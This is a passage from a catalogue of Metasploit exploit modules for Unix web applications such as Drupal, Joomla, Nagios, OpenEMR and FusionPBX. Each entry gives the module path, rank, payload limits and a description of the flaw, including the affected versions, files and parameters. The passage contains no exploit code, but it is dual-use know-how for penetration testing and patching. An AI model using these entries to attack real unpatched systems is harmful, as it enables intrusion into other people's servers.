  use the ImageMagick library, the 'quality', 'angle', and 'clipval'
  parameters are not properly escaped before being passed to the PHP
  'exec' command.

  In order to reach the vulnerable 'exec' call, the input must pass
  several validation steps.

  The vulnerabilities actually reside in the following functions:

  image_processor.php: rotate_image(...)
  include/imageObjectIM.class.php: imageObject::cropImage(...)
  include/imageObjectIM.class.php: imageObject::rotateImage(...)
  include/imageObjectIM.class.php: imageObject::resizeImage(...)
  include/picmgmt.inc.php: resize_image(...)

  NOTE: Use of the ImageMagick library is a non-default option.
However, a
  user can specify its use at installation time.

End Exploit Number 1109

Begin Exploit Number 1110
       Name: DataLife Engine preview.php PHP Code Injection
     Module: exploit/unix/webapp/datalife_preview_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-28

Payload information:

Description:
  This module exploits a PHP code injection vulnerability DataLife
Engine 9.7.
  The vulnerability exists in preview.php, due to an insecure usage of
preg_replace()
  with the e modifier, which allows to inject arbitrary php code, when
there is a
  template installed which contains a [catlist] or [not-catlist] tag,
even when the
  template isn't in use currently. The template can be configured with
the TEMPLATE
  datastore option.
```

```
End Exploit Number 1110

Begin Exploit Number 1111
       Name: Dogfood CRM spell.php Remote Command Execution
     Module: exploit/unix/webapp/dogfood_spell_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2009-03-03

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a previously unpublished vulnerability in the
  Dogfood CRM mail function which is vulnerable to command injection
  in the spell check feature.  Because of character restrictions, this
  exploit works best with the double-reverse telnet payload. This
  vulnerability was discovered by LSO and affects v2.0.10.

End Exploit Number 1111

Begin Exploit Number 1112
       Name: Drupal CODER Module Remote Command Execution
     Module: exploit/unix/webapp/drupal_coder_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-07-13

Payload information:
  Space: 250
  Avoid: 1 characters

Description:
  This module exploits a Remote Command Execution vulnerability in the
  Drupal CODER Module. Unauthenticated users can execute arbitrary
  commands under the context of the web server user.

  The CODER module doesn't sufficiently validate user inputs in a
script
  file that has the PHP extension. A malicious unauthenticated user
can
  make requests directly to this file to execute arbitrary commands.
  The module does not need to be enabled for this to be exploited.

  This module was tested against CODER 2.5 with Drupal 7.5 installed
on
  Ubuntu Server.

End Exploit Number 1112

Begin Exploit Number 1113
       Name: Drupal Drupalgeddon 2 Forms API Property Injection
     Module: exploit/unix/webapp/drupal_drupalgeddon2
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-28

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a Drupal property injection in the Forms API.

  Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are
vulnerable.

End Exploit Number 1113

Begin Exploit Number 1114
       Name: Drupal RESTWS Module Remote PHP Code Execution
     Module: exploit/unix/webapp/drupal_restws_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-07-13

Payload information:

Description:
  This module exploits a Remote PHP Code Execution vulnerability in
the
  Drupal RESTWS Module. Unauthenticated users can execute arbitrary
code
  under the context of the web server user.

  RESTWS alters the default page callbacks for entities to provide
  additional functionality. A vulnerability in this approach allows
  an unauthenticated attacker to send specially crafted requests
resulting
  in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to
1.7
  are affected by this issue.

  This module was tested against RESTWS 2.5 with Drupal 7.5 installed
on
  Ubuntu Server.

End Exploit Number 1114

Begin Exploit Number 1115
       Name: Drupal RESTful Web Services unserialize() RCE
     Module: exploit/unix/webapp/drupal_restws_unserialize
   Platform: PHP, Unix
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-02-20

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a PHP unserialize() vulnerability in Drupal
RESTful
  Web Services by sending a crafted request to the /node REST
endpoint.

  As per SA-CORE-2019-003, the initial remediation was to disable
POST,
  PATCH, and PUT, but Ambionics discovered that GET was also
vulnerable
  (albeit cached). Cached nodes can be exploited only once.

  Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users
of
  this alternate vector.

  Drupal < 8.5.11 and < 8.6.10 are vulnerable.

End Exploit Number 1115

Begin Exploit Number 1116
       Name: EGallery PHP File Upload Vulnerability
     Module: exploit/unix/webapp/egallery_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-08

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in EGallery 1.2 By 
abusing the
  uploadify.php file, a malicious user can upload a file to the 
egallery/ directory
  without any authentication, which results in arbitrary code 
execution. The module
  has been tested successfully on Ubuntu 10.04.

End Exploit Number 1116

Begin Exploit Number 1117
       Name: elFinder PHP Connector exiftran Command Injection
     Module: exploit/unix/webapp/
elfinder_php_connector_exiftran_cmd_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-02-26

Payload information:

Description:
  This module exploits a command injection vulnerability in elFinder
  versions prior to 2.1.48.

  The PHP connector component allows unauthenticated users to upload
  files and perform file modification operations, such as resizing and
  rotation of an image. The file name of uploaded files is not 
validated,
  allowing shell metacharacters.

  When performing image operations on JPEG files, the filename is 
passed
  to the `exiftran` utility without appropriate sanitization, causing
  shell commands in the file name to be executed, resulting in remote
  command injection as the web server user.

  The PHP connector is not enabled by default.
  The system must have `exiftran` installed and in `$PATH`.

  This module has been tested successfully on elFinder versions
2.1.47,
  2.1.20 and 2.1.16 on Ubuntu.

End Exploit Number 1117

Begin Exploit Number 1118
       Name: FlashChat Arbitrary File Upload
     Module: exploit/unix/webapp/flashchat_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-04

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in FlashChat
  versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
  feature in order to upload malicious PHP files without
authentication
  which results in arbitrary remote code execution as the web server
user.

End Exploit Number 1118

Begin Exploit Number 1119
       Name: Foswiki MAKETEXT Remote Command Execution
     Module: exploit/unix/webapp/foswiki_maketext
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-03

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability in the MAKETEXT Foswiki
variable. By using
  a specially crafted MAKETEXT, a malicious user can execute shell
commands since the
  input is passed to the Perl "eval" command without first being
```

```
sanitized. The
  problem is caused by an underlying security issue in the
CPAN:Locale::Maketext
  module.  Only Foswiki sites that have user interface localization
enabled
  (UserInterfaceInternationalisation variable set) are vulnerable.

    If USERNAME and PASSWORD aren't provided, anonymous access will be
tried.
  Also, if the FoswikiPage option isn't provided, the module will try
to create a
  random page on the SandBox space. The modules has been tested
successfully on
  Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware
image.

End Exploit Number 1119

Begin Exploit Number 1120
       Name: FreePBX config.php Remote Code Execution
     Module: exploit/unix/webapp/freepbx_config_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-21

Payload information:

Description:
  This module exploits a vulnerability found in FreePBX version 2.9,
2.10, and 2.11.
  It's possible to inject arbitrary PHP functions and commands in the
"/admin/config.php"
  parameters "function" and "args".

End Exploit Number 1120

Begin Exploit Number 1121
       Name: FusionPBX Command exec.php Command Execution
     Module: exploit/unix/webapp/fusionpbx_exec_cmd_exec
   Platform: PHP, Linux, Unix
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-02

Payload information:
```

```
Description:
  This module uses administrative functionality available in FusionPBX
  to gain a shell.

  The Command section of the application permits users with
`exec_view`
  permissions, or superadmin permissions, to execute arbitrary system
  commands, or arbitrary PHP code, as the web server user.

  This module has been tested successfully on FusionPBX version
  4.4.1 on Ubuntu 19.04 (x64).

End Exploit Number 1121

Begin Exploit Number 1122
       Name: FusionPBX Operator Panel exec.php Command Execution
     Module: exploit/unix/webapp/
fusionpbx_operator_panel_exec_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-06

Payload information:
  Avoid: 5 characters

Description:
  This module exploits an authenticated command injection
vulnerability
  in FusionPBX versions 4.4.3 and prior.

  The `exec.php` file within the Operator Panel permits users with
  `operator_panel_view` permissions, or administrator permissions,
  to execute arbitrary commands as the web server user by sending
  a `system` command to the FreeSWITCH event socket interface.

  This module has been tested successfully on FusionPBX version
  4.4.1 on Ubuntu 19.04 (x64).

End Exploit Number 1122

Begin Exploit Number 1123
       Name: Generic Web Application Unix Command Execution
     Module: exploit/unix/webapp/generic_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1993-11-14

Payload information:
  Space: 1024

Description:
  This module can be used to exploit any generic command execution
vulnerability
  for CGI applications on Unix-like platforms. To use this module,
specify the
  CMDURI path, replacing the command itself with XXcmdXX. This module
is currently
  limited to forms vulnerable through GET requests with query
parameters.


End Exploit Number 1123

Begin Exploit Number 1124
       Name: GetSimpleCMS PHP File Upload Vulnerability
     Module: exploit/unix/webapp/get_simple_cms_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-04

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability in GetSimple CMS.
By abusing the
  upload.php file, a malicious authenticated user can upload an
arbitrary file,
  including PHP code, which results in arbitrary code execution.

End Exploit Number 1124

Begin Exploit Number 1125
       Name: Google Appliance ProxyStyleSheet Command Execution
     Module: exploit/unix/webapp/google_proxystylesheet_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-08-16

Payload information:
  Space: 4000

Description:
  This module exploits a feature in the Saxon XSLT parser used by
  the Google Search Appliance. This feature allows for arbitrary
  java methods to be called. Google released a patch and advisory to
  their client base in August of 2005 (GA-2005-08-m). The target
appliance
  must be able to connect back to your machine for this exploit to
work.

End Exploit Number 1125

Begin Exploit Number 1126
       Name: Graphite Web Unsafe Pickle Handling
     Module: exploit/unix/webapp/graphite_pickle_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-20

Payload information:
  Space: 16384

Description:
  This module exploits a remote code execution vulnerability in the
pickle
  handling of the rendering code in the Graphite Web project between
version
  0.9.5 and 0.9.10 (both included).

End Exploit Number 1126

Begin Exploit Number 1127
       Name: Matt Wright guestbook.pl Arbitrary Command Execution
     Module: exploit/unix/webapp/guestbook_ssi_exec
   Platform: Linux, Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-11-05

Payload information:
  Space: 1024
```

```
Description:
  The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
  a flaw that may allow arbitrary command execution. The vulnerability
  requires that HTML posting is enabled in the guestbook.pl script,
and
  that the web server must have the Server-Side Include (SSI) script
  handler enabled for the '.html' file type. By combining the script
  weakness with non-default server configuration, it is possible to
exploit
  this vulnerability successfully.

End Exploit Number 1127

Begin Exploit Number 1128
       Name: Hastymail 2.1.1 RC1 Command Injection
     Module: exploit/unix/webapp/hastymail_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-22

Payload information:

Description:
  This module exploits a command injection vulnerability found in
Hastymail
  2.1.1 RC1 due to the insecure usage of the call_user_func_array()
function on
  the "lib/ajax_functions.php" script. Authentication is required on
Hastymail
  in order to exploit the vulnerability. The module has been
successfully tested
  on Hastymail 2.1.1 RC1 over Ubuntu 10.04.

End Exploit Number 1128

Begin Exploit Number 1129
       Name: Havalite CMS Arbitary File Upload Vulnerability
     Module: exploit/unix/webapp/havalite_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in Havalite 
CMS 1.1.7, and
  possibly prior.  Attackers can abuse the upload feature in order to 
upload a
  malicious PHP file without authentication, which results in 
arbitrary remote code
  execution.

End Exploit Number 1129

Begin Exploit Number 1130
       Name: Horde Framework Unserialize PHP Code Execution
     Module: exploit/unix/webapp/horde_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-27

Payload information:

Description:
  This module exploits a php unserialize() vulnerability in Horde <= 
5.1.1 which could be
  abused to allow unauthenticated users to execute arbitrary code with 
the permissions of
  the web server. The dangerous unserialize() exists in the 'lib/
Horde/Variables.php' file.
  The exploit abuses the __destruct() method from the 
Horde_Kolab_Server_Decorator_Clean
  class to reach a dangerous call_user_func() call in the Horde_Prefs 
class.

End Exploit Number 1130

Begin Exploit Number 1131
       Name: HybridAuth install.php PHP Code Execution
     Module: exploit/unix/webapp/hybridauth_install_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-08-04

Payload information:
```

```
Description:
  This module exploits a PHP code execution vulnerability in
  HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
  is not removed after installation allowing unauthenticated users to
  write PHP code to the application configuration file 'config.php'.

  Note: This exploit will overwrite the application configuration file
  rendering the application unusable.

End Exploit Number 1131

Begin Exploit Number 1132
       Name: InstantCMS 1.6 Remote PHP Code Execution
     Module: exploit/unix/webapp/instantcms_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-26

Payload information:

Description:
  This module exploits an arbitrary PHP command execution
vulnerability because of a
  dangerous use of eval() in InstantCMS in versions 1.6 and prior.

End Exploit Number 1132

Begin Exploit Number 1133
       Name: Invision IP.Board unserialize() PHP Code Execution
     Module: exploit/unix/webapp/invision_pboard_unserialize_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-25

Payload information:
  Space: 8000

Description:
  This module exploits a php unserialize() vulnerability in Invision
IP.Board
  <= 3.3.4 which could be abused to allow unauthenticated users to
execute arbitrary
  code under the context of the webserver user.
  The dangerous unserialize() exists in the '/admin/sources/base/
core.php' script,
  which is called with user controlled data from the cookie. The
exploit abuses the
  __destruct() method from the dbMain class to write arbitrary PHP
code to a file on
  the Invision IP.Board web directory.

  The exploit has been tested successfully on Invision IP.Board 3.3.4.

End Exploit Number 1133

Begin Exploit Number 1134
       Name: Joomla Akeeba Kickstart Unserialize Remote Code Execution
     Module: exploit/unix/webapp/joomla_akeeba_unserialize
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-29

Payload information:

Description:
  This module exploits a vulnerability found in Joomla! through
2.5.25, 3.2.5 and earlier
  3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability
affects the Akeeba
  component, which is responsible for Joomla! updates. Nevertheless it
is worth to note
  that this vulnerability is only exploitable during the update of the
Joomla! CMS.

End Exploit Number 1134

Begin Exploit Number 1135
       Name: Joomla Component Fields SQLi Remote Code Execution
     Module: exploit/unix/webapp/joomla_comfields_sqli_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-17

Payload information:
  Space: 262144
```

```
Description:
  This module exploits a SQL injection vulnerability in the com_fields
  component, which was introduced to the core of Joomla in version
3.7.0.

End Exploit Number 1135

Begin Exploit Number 1136
       Name: Joomla Component JCE File Upload Remote Code Execution
     Module: exploit/unix/webapp/joomla_comjce_imgmanager
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-02

Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the JCE component for
Joomla!, which
  could allow an unauthenticated remote attacker to upload arbitrary
files, caused by the
  fails to sufficiently sanitize user-supplied input. Sending
specially-crafted HTTP
  request, a remote attacker could exploit this vulnerability to
upload a malicious PHP
  script, which could allow the attacker to execute arbitrary PHP code
on the vulnerable
  system. This module has been tested successfully on the JCE Editor
1.5.71 and Joomla
  1.5.26.

End Exploit Number 1136

Begin Exploit Number 1137
       Name: Joomla Content History SQLi Remote Code Execution
     Module: exploit/unix/webapp/joomla_contenthistory_sqli_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-10-23

Payload information:
  Space: 262144
```

```
Description:
  This module exploits a SQL injection vulnerability found in Joomla
versions
  3.2 up to 3.4.4. The vulnerability exists in the Content History
administrator
  component in the core of Joomla. Triggering the SQL injection makes
it possible
  to retrieve active Super User sessions. The cookie can be used to
login to the
  Joomla administrator backend. By creating a new template file
containing our
  payload, remote code execution is made possible.

End Exploit Number 1137

Begin Exploit Number 1138
       Name: Joomla Media Manager File Upload Vulnerability
     Module: exploit/unix/webapp/joomla_media_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-01

Payload information:
  Space: 262144

Description:
  This module exploits a vulnerability found in Joomla 2.5.x up to
2.5.13, as well as
  3.x up to 3.1.4 versions. The vulnerability exists in the Media
Manager component,
  which comes by default in Joomla, allowing arbitrary file uploads,
and results in
  arbitrary code execution. The module has been tested successfully on
Joomla 2.5.13
  and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to
the Media
  Manager, you will need to supply a valid username and password
(Editor role or
  higher) in order to work properly.

End Exploit Number 1138

Begin Exploit Number 1139
       Name: Joomla 1.5.12 TinyBrowser File Upload Code Execution
     Module: exploit/unix/webapp/joomla_tinybrowser
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-07-22

Payload information:
  Space: 1024

Description:
  This module exploits a vulnerability in the TinyMCE/tinybrowser 
plugin.
  This plugin is not secured in version 1.5.12 of joomla and allows 
the upload
  of files on the remote server.
  By renaming the uploaded file this vulnerability can be used to 
upload/execute
  code on the affected system.

End Exploit Number 1139

Begin Exploit Number 1140
       Name: blueimp's jQuery (Arbitrary) File Upload
     Module: exploit/unix/webapp/jquery_file_upload
   Platform: PHP, Linux
       Arch: php, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-09

Payload information:

Description:
  This module exploits an arbitrary file upload in the sample PHP 
upload
  handler for blueimp's jQuery File Upload widget in versions <= 
9.22.0.

  Due to a default configuration in Apache 2.3.9+, the 
widget's .htaccess
  file may be disabled, enabling exploitation of this vulnerability.

  This vulnerability has been exploited in the wild since at least 
2015
  and was publicly disclosed to the vendor in 2018. It has been 
present
  since the .htaccess change in Apache 2.3.9.

  This module provides a generic exploit against the jQuery widget.
```

```
End Exploit Number 1140

Begin Exploit Number 1141
       Name: Kimai v0.9.2 'db_restore.php' SQL Injection
     Module: exploit/unix/webapp/kimai_sqli
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-05-21

Payload information:
  Space: 8000
  Avoid: 4 characters

Description:
  This module exploits a SQL injection vulnerability in Kimai version
  0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
  execute arbitrary SQL queries. This module writes a PHP payload to
  disk if the following conditions are met: The PHP configuration must
  have 'display_errors' enabled, Kimai must be configured to use a
  MySQL database running on localhost; and the MySQL user must have
  write permission to the Kimai 'temporary' directory.

End Exploit Number 1141

Begin Exploit Number 1142
       Name: LibrettoCMS File Manager Arbitary File Upload
Vulnerability
     Module: exploit/unix/webapp/libretto_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-14

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in
LibrettoCMS 1.1.7, and
  possibly prior.  Attackers can bypass the file extension check and
abuse the upload
  feature in order to upload a malicious PHP file without
authentication, which
  results in arbitrary remote code execution.
```

```
End Exploit Number 1142

Begin Exploit Number 1143
       Name: Maarch LetterBox Unrestricted File Upload
     Module: exploit/unix/webapp/maarch_letterbox_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-11

Payload information:

Description:
  This module exploits a file upload vulnerability on Maarch LetterBox
2.8 due to a lack of
  session and file validation in the file_to_index.php script. It
allows unauthenticated
  users to upload files of any type and subsequently execute PHP
scripts in the context of
  the web server.

End Exploit Number 1143

Begin Exploit Number 1144
       Name: Mambo Cache_Lite Class mosConfig_absolute_path Remote
File Include
     Module: exploit/unix/webapp/mambo_cache_lite
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-06-14

Payload information:
  Space: 32768

Description:
  This module exploits a remote file inclusion vulnerability in
  includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo
  4.6.4 and earlier.

End Exploit Number 1144

Begin Exploit Number 1145
       Name: Mitel Audio and Web Conferencing Command Injection
     Module: exploit/unix/webapp/mitel_awc_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-12

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a command injection flaw within the Mitel
  Audio and Web Conferencing web interface.

End Exploit Number 1145

Begin Exploit Number 1146
       Name: MoinMoin twikidraw Action Traversal File Upload
     Module: exploit/unix/webapp/moinmoin_twikidraw
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2012-12-30

Payload information:
  Space: 16384

Description:
  This module exploits a vulnerability in MoinMoin 1.9.5. The 
vulnerability
  exists on the manage of the twikidraw actions, where a traversal 
path can be used
  in order to upload arbitrary files. Exploitation is achieved on 
Apached/mod_wsgi
  configurations by overwriting moin.wsgi, which allows to execute 
arbitrary python
  code, as exploited in the wild on July, 2012. This module is 
"ManualRanking," and
  the user is warned to use this module at his own risk since it will 
overwrite the
  moin.wsgi file, required for the correct working of the MoinMoin 
wiki. While the
  exploit will try to restore the attacked application at post 
exploitation, successful
  restoration cannot be guaranteed.

End Exploit Number 1146
```

```
Begin Exploit Number 1147
       Name: myBB 1.6.4 Backdoor Arbitrary Command Execution
     Module: exploit/unix/webapp/mybb_backdoor
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-06

Payload information:
  Space: 4000

Description:
  myBB is a popular open source PHP forum software. Version 1.6.4 
contained an
  unauthorized backdoor, distributed as part of the vendor's source 
package.

End Exploit Number 1147

Begin Exploit Number 1148
       Name: Nagios3 history.cgi Host Command Execution
     Module: exploit/unix/webapp/nagios3_history_cgi
   Platform: Linux, Unix
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-12-09

Payload information:
  Space: 200
  Avoid: 0 characters

Description:
  This module abuses a command injection vulnerability in the
  Nagios3 history.cgi script.

End Exploit Number 1148

Begin Exploit Number 1149
       Name: Nagios3 statuswml.cgi Ping Command Execution
     Module: exploit/unix/webapp/nagios3_statuswml_ping
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-06-22

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module abuses a metacharacter injection vulnerability in the
  Nagios3 statuswml.cgi script. This flaw is triggered when shell
  metacharacters are present in the parameters to the ping and
  traceroute commands.

End Exploit Number 1149

Begin Exploit Number 1150
       Name: Nagios XI Network Monitor Graph Explorer Component
Command Injection
     Module: exploit/unix/webapp/nagios_graph_explorer
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-30

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in Nagios XI Network
Monitor's
  component 'Graph Explorer'.  An authenticated user can execute
system commands
  by injecting it in several parameters, such as in visApi.php's
'host' parameter,
  which results in remote code execution.

End Exploit Number 1150

Begin Exploit Number 1151
       Name: Narcissus Image Configuration Passthru Vulnerability
     Module: exploit/unix/webapp/narcissus_backend_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-14

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in Narcissus image 
configuration
  function.  This is due to the backend.php file not handling the 
$release parameter
  properly, and then passes it on to the configure_image() function. 
In this
  function, the $release parameter can be used to inject system 
commands for
  passthru (a PHP function that's meant to be used to run a bash 
script by the
  vulnerable application), which allows remote code execution under 
the context
  of the web server.

End Exploit Number 1151

Begin Exploit Number 1152
       Name: Open Flash Chart v2 Arbitrary File Upload
     Module: exploit/unix/webapp/open_flash_chart_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-14

Payload information:
  Space: 8190
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in Open Flash
  Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file
  in order to upload and execute malicious PHP files.

End Exploit Number 1152

Begin Exploit Number 1153
       Name: OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote 
Code Execution
     Module: exploit/unix/webapp/openemr_sqli_privesc_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-16
```

```
Payload information:

Description:
  This module exploits a vulnerability found in OpenEMR version 4.1.1
Patch 14 and lower.
  When logging in as any non-admin user, it's possible to retrieve the
admin SHA1 password
  hash from the database through SQL injection. The SQL injection
vulnerability exists
  in the "new_comprehensive_save.php" page. This hash can be used to
log in as the admin
  user. After logging in, the "manage_site_files.php" page will be
used to upload arbitrary
  code.

End Exploit Number 1153

Begin Exploit Number 1154
       Name: OpenEMR PHP File Upload Vulnerability
     Module: exploit/unix/webapp/openemr_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-13

Payload information:

Description:
  This module exploits a vulnerability found in OpenEMR 4.1.1 By
abusing the
  ofc_upload_image.php file from the openflashchart library, a
malicious user can
  upload a file to the tmp-upload-images directory without any
authentication, which
  results in arbitrary code execution. The module has been tested
successfully on
  OpenEMR 4.1.1 over Ubuntu 10.04.

End Exploit Number 1154

Begin Exploit Number 1155
       Name: OpenMediaVault rpc.php Authenticated PHP Code Injection
     Module: exploit/unix/webapp/openmediavault_rpc_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2020-09-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an authenticated PHP code injection
  vulnerability found in openmediavault versions before 4.1.36
  and 5.x versions before 5.5.12 inclusive in the "sortfield"
  POST parameter of the rpc.php page, because "json_encode_safe()"
  is not used in config/databasebackend.inc.
  Successful exploitation grants attackers the ability to execute
  arbitrary commands on the underlying operating system as root.

End Exploit Number 1155

Begin Exploit Number 1156
       Name: OpenNetAdmin Ping Command Injection
     Module: exploit/unix/webapp/opennetadmin_ping_cmd_injection
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-19

Payload information:

Description:
  This module exploits a command injection in OpenNetAdmin between
8.5.14 and 18.1.1.

End Exploit Number 1156

Begin Exploit Number 1157
       Name: openSIS Unauthenticated PHP Code Execution
     Module: exploit/unix/webapp/opensis_chain_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-30

Payload information:

Description:
  This module exploits multiple vulnerabilities in openSIS 7.4 and
prior versions
```

```
  which could be abused by unauthenticated attackers to execute
arbitrary PHP code
  with the permissions of the webserver. The exploit chain abuses an
incorrect access
  control issue which allows access to scripts which should require
the user to be
  authenticated, and a Local File Inclusion to reach a SQL injection
vulnerability which
  results in execution of arbitrary PHP code due to an unsafe use of
the eval() function.

End Exploit Number 1157

Begin Exploit Number 1158
       Name: OpenSIS 'modname' PHP Code Execution
     Module: exploit/unix/webapp/opensis_modname_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-04

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a PHP code execution vulnerability in OpenSIS
  versions 4.5 to 5.2 which allows any authenticated user to execute
